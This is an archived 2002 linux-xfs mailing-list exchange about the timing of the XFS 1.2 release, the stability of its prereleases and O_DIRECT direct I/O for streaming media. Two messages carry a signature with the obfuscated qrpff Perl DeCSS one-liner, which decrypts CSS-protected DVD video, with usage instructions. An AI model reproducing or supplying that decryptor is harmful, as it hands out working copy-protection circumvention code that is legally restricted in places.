(SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA88039; Thu, 7 Nov 2002 12:01:12 -0600 (CST) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 189qxr-0001xn-00; Thu, 07 Nov 2002 12:01:11 -0600 Date: Thu, 7 Nov 2002 12:01:11 -0600 From: Nathan Straz To: Florian Lindner Cc: linux-xfs@oss.sgi.com Subject: Re: Next Release / devel tree? Message-ID: <20021107180111.GB1220@sgi.com> Mail-Followup-To: Florian Lindner , linux-xfs@oss.sgi.com References: <200211071847.44159.Florian.Lindner@xgm.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200211071847.44159.Florian.Lindner@xgm.de> User-Agent: Mutt/1.4i X-archive-position: 1567 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Thu, Nov 07, 2002 at 06:47:44PM +0100, Florian Lindner wrote: > the XFS 1.1. release in now over half a year old. When is a new release to be > expected? Is it safe to work with the CVS version? (for a 2.4 kernel) We know, XFS 1.1 is really old. We're working on a new release. You can help out by testing the 1.2pre2 release on the FTP site. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:08:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:08:59 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7I8vuR007205 for ; Thu, 7 Nov 2002 10:08:57 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA98083; Thu, 7 Nov 2002 12:10:05 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id MAA85128; Thu, 7 Nov 2002 12:10:04 -0600 (CST) Subject: Re: Next Release / devel tree? From: Eric Sandeen To: Florian Lindner Cc: linux-xfs@oss.sgi.com In-Reply-To: <200211071847.44159.Florian.Lindner@xgm.de> References: <200211071847.44159.Florian.Lindner@xgm.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 12:09:47 -0600 Message-Id: <1036692588.13905.17.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1568 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Several "XFS 1.2-preX" releases have been made available over the past several weeks, possibly indicating that a new release is in the works... :) They are on the ftp site. CVS has been pretty stable, but of course the (pre)releases get much more testing at SGI. -Eric On Thu, 2002-11-07 at 11:47, Florian Lindner wrote: > Hi, > the XFS 1.1. release in now over half a year old. When is a new release to be > expected? Is it safe to work with the CVS version? (for a 2.4 kernel) > Thx, > Florian > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:23:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:23:36 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7INUuR008079 for ; Thu, 7 Nov 2002 10:23:31 -0800 Received: (qmail 8667 invoked by uid 1010); 7 Nov 2002 18:25:17 -0000 Date: Thu, 7 Nov 2002 13:25:17 -0500 From: George Georgalis To: Eric Sandeen Cc: linux-xfs@oss.sgi.com Subject: Re: streaming media and realtime subvolume Message-ID: <20021107182517.GD8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> <20021107173730.GB8321@trot> <1036690729.13877.14.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1036690729.13877.14.camel@stout.americas.sgi.com> User-Agent: Mutt/1.3.28i X-archive-position: 1569 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Thu, Nov 07, 2002 at 11:38:49AM -0600, Eric Sandeen wrote: >On Thu, 2002-11-07 at 11:37, George Georgalis wrote: >> Can you give examples of 'direct i/o'? do you mean like dd? from which I >> can pipe stdout to my media player? > >No, like O_DIRECT, as in: > >fd = open("tempfile_direct", O_CREAT|O_RDWR|O_DIRECT, 0666); > >It bypasses the buffer cache. Well, that sounds good. :) can't we just mount a partition that way , I'm guessing no. Humm, I see your syntax as a little different then my GNU/Linux OPEN(2) man page, is that because my man page is not patched with the xfs kernel or should I be using the other flags? SYNOPSIS #include #include #include int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); int creat(const char *pathname, mode_t mode); (I've seen C, but I don't program in it so I'm weary) Is there some C code to handle this type of open/close with stdin/out? and which can be called from a perl or bash script? Or is this something I need to write on my own? surly somebody has done it.... Oh, one other thing, nobody has mentioned any mount parameters, ...I guess since I'm mostly doing read only, shortening the commit interval won't have any affect. ;) Thanks for the help. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:29:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:29:57 -0800 (PST) Received: from f1n1.spenet.wfu.edu (f1n1.sp2net.wfu.edu [152.17.8.11]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7ITtuR008553 for ; Thu, 7 Nov 2002 10:29:55 -0800 Received: from localhost.localdomain (f1n11.sp2net.wfu.edu [152.17.8.21]) by f1n1.spenet.wfu.edu (8.11.6/8.11.6) with ESMTP id gA7IV7H28762 for ; Thu, 7 Nov 2002 13:31:08 -0500 Subject: Re: Next Release / devel tree? From: "Timothy E. Miller" To: linux-xfs@oss.sgi.com In-Reply-To: <1036692588.13905.17.camel@stout.americas.sgi.com> References: <200211071847.44159.Florian.Lindner@xgm.de> <1036692588.13905.17.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 07 Nov 2002 13:30:32 -0500 Message-Id: <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> Mime-Version: 1.0 X-archive-position: 1570 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: millerte@wfu.edu Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 13:09, Eric Sandeen wrote: > Several "XFS 1.2-preX" releases have been made available over the past > several weeks, possibly indicating that a new release is in the works... > :) They are on the ftp site. > Ahhh...but the juicy tidbit of an estimate for release of 1.2 is sorely missing. -Tim -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Timothy E. Miller voice: (336)758-3257 Parallel Computing Systems Administrator fax: (336)758-7127 Wake Forest University cell: (336)782-6987 Computer Science, Information Systems, Public Health Sciences ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:45:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:45:33 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7IjSuR009138 for ; Thu, 7 Nov 2002 10:45:28 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA93150; Thu, 7 Nov 2002 12:46:35 -0600 (CST) Received: from rose.americas.sgi.com (rose.americas.sgi.com [128.162.187.93]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA75825; Thu, 7 Nov 2002 12:46:35 -0600 (CST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by rose.americas.sgi.com (8.12.5/8.12.5) with ESMTP id gA7IlMkq015568; Thu, 7 Nov 2002 12:47:24 -0600 Subject: Re: Next Release / devel tree? From: Russell Cattelan To: "Timothy E. Miller" Cc: linux-xfs@oss.sgi.com In-Reply-To: <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> References: <200211071847.44159.Florian.Lindner@xgm.de> <1036692588.13905.17.camel@stout.americas.sgi.com> <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 07 Nov 2002 12:47:22 -0600 Message-Id: <1036694844.7455.106.camel@rose.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1571 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 12:30, Timothy E. Miller wrote: > On Thu, 2002-11-07 at 13:09, Eric Sandeen wrote: > > Several "XFS 1.2-preX" releases have been made available over the past > > several weeks, possibly indicating that a new release is in the works... > > :) They are on the ftp site. > > > > Ahhh...but the juicy tidbit of an estimate for release of 1.2 > is sorely missing. Well giving the fact that we are moving to a new building over the next couple of weeks availability of machine is uncertain. We think we have nailed a couple of the most pressing "mustfix" bugs, and are now focusing on some performance issues. If things go really well MAYBE 1.2 will be ready the week before thanksgiving but don't count on it. We are probably looking at the first week in December. 1.2pre3 will be available shortly (today) for testing and abuse. > > -Tim > > -- > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Timothy E. Miller voice: (336)758-3257 > Parallel Computing Systems Administrator fax: (336)758-7127 > Wake Forest University cell: (336)782-6987 > Computer Science, Information Systems, Public Health Sciences > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:52:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:52:46 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7IqiuR009624 for ; Thu, 7 Nov 2002 10:52:44 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA02150; Thu, 7 Nov 2002 12:53:52 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id MAA17551; Thu, 7 Nov 2002 12:53:45 -0600 (CST) Subject: Re: streaming media and realtime subvolume From: Eric Sandeen To: George Georgalis Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021107182517.GD8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> <20021107173730.GB8321@trot> <1036690729.13877.14.camel@stout.americas.sgi.com> <20021107182517.GD8321@trot> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 12:53:28 -0600 Message-Id: <1036695208.13877.21.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1572 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 12:25, George Georgalis wrote: > On Thu, Nov 07, 2002 at 11:38:49AM -0600, Eric Sandeen wrote: > >On Thu, 2002-11-07 at 11:37, George Georgalis wrote: > >> Can you give examples of 'direct i/o'? do you mean like dd? from which I > >> can pipe stdout to my media player? > > > >No, like O_DIRECT, as in: > > > >fd = open("tempfile_direct", O_CREAT|O_RDWR|O_DIRECT, 0666); > > > >It bypasses the buffer cache. > > Well, that sounds good. :) can't we just mount a > partition that way , I'm guessing no. Nope, if nothing else, because the I/O has other requirements on it as well (alignment & size) so you can't just say "I'd like to do O_DIRECT please" and have everything happen magically. > Humm, I see your syntax as a little different then my GNU/Linux OPEN(2) > man page, is that because my man page is not patched with the xfs kernel > or should I be using the other flags? Not sure what you mean... > int open(const char *pathname, int flags, mode_t mode); That's the open() I show above. -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 10:54:34 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 10:54:36 -0800 (PST) Received: from homer.nks.net (homer.nks.net [66.152.21.172]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7IsXuR009768 for ; Thu, 7 Nov 2002 10:54:34 -0800 Received: from hoju.nks.net (hoju.nks.net [192.168.1.17]) by homer.nks.net (8.9.3/8.9.3) with ESMTP id NAA32354 for ; Thu, 7 Nov 2002 13:55:41 -0500 Received: from localhost.localdomain (two.nks.net [192.168.1.22]) by hoju.nks.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA30313 for ; Thu, 7 Nov 2002 13:55:41 -0500 Subject: Re: Next Release / devel tree? From: Derek Glidden To: "linux-xfs@oss.sgi.com" In-Reply-To: <1036694844.7455.106.camel@rose.americas.sgi.com> References: <200211071847.44159.Florian.Lindner@xgm.de> <1036692588.13905.17.camel@stout.americas.sgi.com> <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> <1036694844.7455.106.camel@rose.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 07 Nov 2002 13:55:40 -0500 Message-Id: <1036695341.5207.9.camel@two.nks.net> Mime-Version: 1.0 X-archive-position: 1573 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dglidden@illusionary.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 13:47, Russell Cattelan wrote: > We think we have nailed a couple of the most pressing "mustfix" bugs, > and are now focusing on some performance issues. > If things go really well MAYBE 1.2 will be ready the week before > thanksgiving but don't count on it. We are probably looking at the first > week in December. > > 1.2pre3 will be available shortly (today) for testing and abuse. can someone take a short amount of time to outline what some of these "mustfix" bugs are/1.2 prerelease "issues" remaining to be fixed? Are the 1.2 prereleases "safe" to use on production data (i.e. outstanding bugs only pop up under really rare conditions, other "issues" are nice-to-haves but don't affect functionality) or should we be careful with them? I'd like to bang on 1.2 on a machine or two, but I don't have anything running at the moment that's not at least important, if not critical. I have been trying to track the list, but a quick summary from someone in the know would be very helpful. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #!/usr/bin/perl -w $_='while(read+STDIN,$_,2048){$a=29;$b=73;$c=142;$t=255;@t=map {$_%16or$t^=$c^=($m=(11,10,116,100,11,122,20,100)[$_/16%8])&110; $t^=(72,@z=(64,72,$a^=12*($_%16-2?0:$m&17)),$b^=$_%64?12:0,@z) [$_%8]}(16..271);if((@a=unx"C*",$_)[20]&48){$h=5;$_=unxb24,join "",@b=map{xB8,unxb8,chr($_^$a[--$h+84])}@ARGV;s/...$/1$&/;$d= unxV,xb25,$_;$e=256|(ord$b[4])<<9|ord$b[3];$d=$d>>8^($f=$t&($d >>12^$d>>4^$d^$d/8))<<17,$e=$e>>8^($t&($g=($q=$e>>14&7^$e)^$q* 8^$q<<6))<<9,$_=$t[$_]^(($h>>=8)+=$f+(~$g&$t))for@a[128..$#a]} print+x"C*",@a}';s/x/pack+/g;eval usage: qrpff 153 2 8 105 225 < /mnt/dvd/VOB_FILENAME \ | extract_mpeg2 | mpeg2dec - http://www.cs.cmu.edu/~dst/DeCSS/Gallery/ http://www.eff.org/ http://www.anti-dmca.org/ From owner-linux-xfs@oss.sgi.com Thu Nov 7 11:14:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 11:14:21 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7JEIuR010671 for ; Thu, 7 Nov 2002 11:14:18 -0800 Received: (qmail 8936 invoked by uid 1010); 7 Nov 2002 19:16:05 -0000 Date: Thu, 7 Nov 2002 14:16:05 -0500 From: George Georgalis To: Eric Sandeen Cc: linux-xfs@oss.sgi.com Subject: Re: streaming media and realtime subvolume Message-ID: <20021107191605.GE8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> <20021107173730.GB8321@trot> <1036690729.13877.14.camel@stout.americas.sgi.com> <20021107182517.GD8321@trot> <1036695208.13877.21.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1036695208.13877.21.camel@stout.americas.sgi.com> User-Agent: Mutt/1.3.28i X-archive-position: 1574 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Thu, Nov 07, 2002 at 12:53:28PM -0600, Eric Sandeen wrote: >On Thu, 2002-11-07 at 12:25, George Georgalis wrote: >> On Thu, Nov 07, 2002 at 11:38:49AM -0600, Eric Sandeen wrote: >> >On Thu, 2002-11-07 at 11:37, George Georgalis wrote: >> >> Can you give examples of 'direct i/o'? do you mean like dd? from which I >> >> can pipe stdout to my media player? >> > >> >No, like O_DIRECT, as in: >> > >> >fd = open("tempfile_direct", O_CREAT|O_RDWR|O_DIRECT, 0666); >> > >> >It bypasses the buffer cache. >> >> Well, that sounds good. :) can't we just mount a >> partition that way , I'm guessing no. > >Nope, if nothing else, because the I/O has other requirements on it as >well (alignment & size) so you can't just say "I'd like to do O_DIRECT >please" and have everything happen magically. > >> Humm, I see your syntax as a little different then my GNU/Linux OPEN(2) >> man page, is that because my man page is not patched with the xfs kernel >> or should I be using the other flags? > >Not sure what you mean... > >> int open(const char *pathname, int flags, mode_t mode); > >That's the open() I show above. I didn't include the important part of the man page, sorry. This follows: The parameter flags is one of O_RDONLY, O_WRONLY or O_RDWR which request opening the file read-only, write-only or read/write, respectively, bitwise-or'd with zero or more of the following: and 'the following' includes paragraphs on O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC, O_APPEND, O_NONBLOCK or O_NDELAY, O_SYNC, O_NOFOLLOW, O_DIRECTORY and O_LARGEFILE -- but no 'O_DIRECT' maybe O_DIRECT is O_NONBLOCK or O_NDELAY When possible, the file is opened in non-blocking mode. Neither the open nor any subsequent operations on the file descriptor which is returned will cause the calling process to wait. For the handling of FIFOs (named pipes), see also fifo(4). This mode need not have any effect on files other than FIFOs. here? but that doesn't sound quite right... I have the feeling the effort of a realtime subvolume, and custom C I/O programs might be overdoing it for this application, but I appreciate the info. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Thu Nov 7 12:14:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 12:14:22 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7KEIuR012100 for ; Thu, 7 Nov 2002 12:14:19 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA20493; Thu, 7 Nov 2002 14:15:25 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA54620; Thu, 7 Nov 2002 14:15:22 -0600 (CST) Subject: Re: Next Release / devel tree? From: Eric Sandeen To: Derek Glidden Cc: "linux-xfs@oss.sgi.com" In-Reply-To: <1036695341.5207.9.camel@two.nks.net> References: <200211071847.44159.Florian.Lindner@xgm.de> <1036692588.13905.17.camel@stout.americas.sgi.com> <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> <1036694844.7455.106.camel@rose.americas.sgi.com> <1036695341.5207.9.camel@two.nks.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 14:15:04 -0600 Message-Id: <1036700105.17400.2.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1575 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 12:55, Derek Glidden wrote: > can someone take a short amount of time to outline what some of these > "mustfix" bugs are/1.2 prerelease "issues" remaining to be fixed? Are > the 1.2 prereleases "safe" to use on production data (i.e. outstanding > bugs only pop up under really rare conditions, other "issues" are > nice-to-haves but don't affect functionality) or should we be careful > with them? There was a filesystem force shutdown on nfs-exported filesystems, and very hard to hit data corruption case with fs blocksize < pagesize, mmap IO, and high memory pressure... I don't think anyone ever hit it outside of SGI. This is fixed (crossed fingers!) in -pre3. > I'd like to bang on 1.2 on a machine or two, but I don't have anything > running at the moment that's not at least important, if not critical. We are keeping a changelog (since the first prerelease), we'll try to get it posted with -pre3. -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 12:16:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 12:16:55 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7KGouR012273 for ; Thu, 7 Nov 2002 12:16:51 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA96760; Thu, 7 Nov 2002 14:17:56 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA45244; Thu, 7 Nov 2002 14:17:54 -0600 (CST) Subject: Re: streaming media and realtime subvolume From: Eric Sandeen To: George Georgalis Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021107191605.GE8321@trot> References: <20021107151729.GA7085@trot> <1036683254.13907.4.camel@stout.americas.sgi.com> <20021107173730.GB8321@trot> <1036690729.13877.14.camel@stout.americas.sgi.com> <20021107182517.GD8321@trot> <1036695208.13877.21.camel@stout.americas.sgi.com> <20021107191605.GE8321@trot> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 07 Nov 2002 14:17:37 -0600 Message-Id: <1036700257.17400.6.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1576 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 13:16, George Georgalis wrote: > maybe O_DIRECT is > > O_NONBLOCK or O_NDELAY No, the man pages are just out of date. (Other filesystems besides XFS can do O_DIRECT, it's not unique to XFS.) -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Nov 7 12:22:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 12:22:43 -0800 (PST) Received: from homer.nks.net (homer.nks.net [66.152.21.172]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7KMfuR013015 for ; Thu, 7 Nov 2002 12:22:41 -0800 Received: from hoju.nks.net (hoju.nks.net [192.168.1.17]) by homer.nks.net (8.9.3/8.9.3) with ESMTP id PAA00935 for ; Thu, 7 Nov 2002 15:23:49 -0500 Received: from localhost.localdomain (two.nks.net [192.168.1.22]) by hoju.nks.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA00851 for ; Thu, 7 Nov 2002 15:23:49 -0500 Subject: Re: Next Release / devel tree? From: Derek Glidden To: "linux-xfs@oss.sgi.com" In-Reply-To: <1036700105.17400.2.camel@stout.americas.sgi.com> References: <200211071847.44159.Florian.Lindner@xgm.de> <1036692588.13905.17.camel@stout.americas.sgi.com> <1036693832.13681.26.camel@millerte-pc.computer.wfu.edu> <1036694844.7455.106.camel@rose.americas.sgi.com> <1036695341.5207.9.camel@two.nks.net> <1036700105.17400.2.camel@stout.americas.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 07 Nov 2002 15:23:49 -0500 Message-Id: <1036700629.5207.24.camel@two.nks.net> Mime-Version: 1.0 X-archive-position: 1577 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dglidden@illusionary.com Precedence: bulk X-list: linux-xfs On Thu, 2002-11-07 at 15:15, Eric Sandeen wrote: > There was a filesystem force shutdown on nfs-exported filesystems, and > very hard to hit data corruption case with fs blocksize < pagesize, mmap > IO, and high memory pressure... I don't think anyone ever hit it outside > of SGI. This is fixed (crossed fingers!) in -pre3. > > ... > > We are keeping a changelog (since the first prerelease), we'll try to > get it posted with -pre3. Eric, Thanks for the update! I'll see if I can convince the guys to let me put pre3 on a couple of machines here. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #!/usr/bin/perl -w $_='while(read+STDIN,$_,2048){$a=29;$b=73;$c=142;$t=255;@t=map {$_%16or$t^=$c^=($m=(11,10,116,100,11,122,20,100)[$_/16%8])&110; $t^=(72,@z=(64,72,$a^=12*($_%16-2?0:$m&17)),$b^=$_%64?12:0,@z) [$_%8]}(16..271);if((@a=unx"C*",$_)[20]&48){$h=5;$_=unxb24,join "",@b=map{xB8,unxb8,chr($_^$a[--$h+84])}@ARGV;s/...$/1$&/;$d= unxV,xb25,$_;$e=256|(ord$b[4])<<9|ord$b[3];$d=$d>>8^($f=$t&($d >>12^$d>>4^$d^$d/8))<<17,$e=$e>>8^($t&($g=($q=$e>>14&7^$e)^$q* 8^$q<<6))<<9,$_=$t[$_]^(($h>>=8)+=$f+(~$g&$t))for@a[128..$#a]} print+x"C*",@a}';s/x/pack+/g;eval usage: qrpff 153 2 8 105 225 < /mnt/dvd/VOB_FILENAME \ | extract_mpeg2 | mpeg2dec - http://www.cs.cmu.edu/~dst/DeCSS/Gallery/ http://www.eff.org/ http://www.anti-dmca.org/ From owner-linux-xfs@oss.sgi.com Thu Nov 7 15:01:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 07 Nov 2002 15:02:00 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA7N1suR004681 for ; Thu, 7 Nov 2002 15:01:54 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id PAA07955 for ; Thu, 7 Nov 2002 15:03:01 -0800 (PST) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA19234 for linux-xfs@oss.sgi.com; Fri, 8 Nov 2002 10:01:44 +1100 (EST) Date: Fri, 8 Nov 2002 10:01:44 +1100 (EST) From: Nathan Scott Message-Id: <200211072301.KAA19234@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsdump version++ X-archive-position: 1578 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs 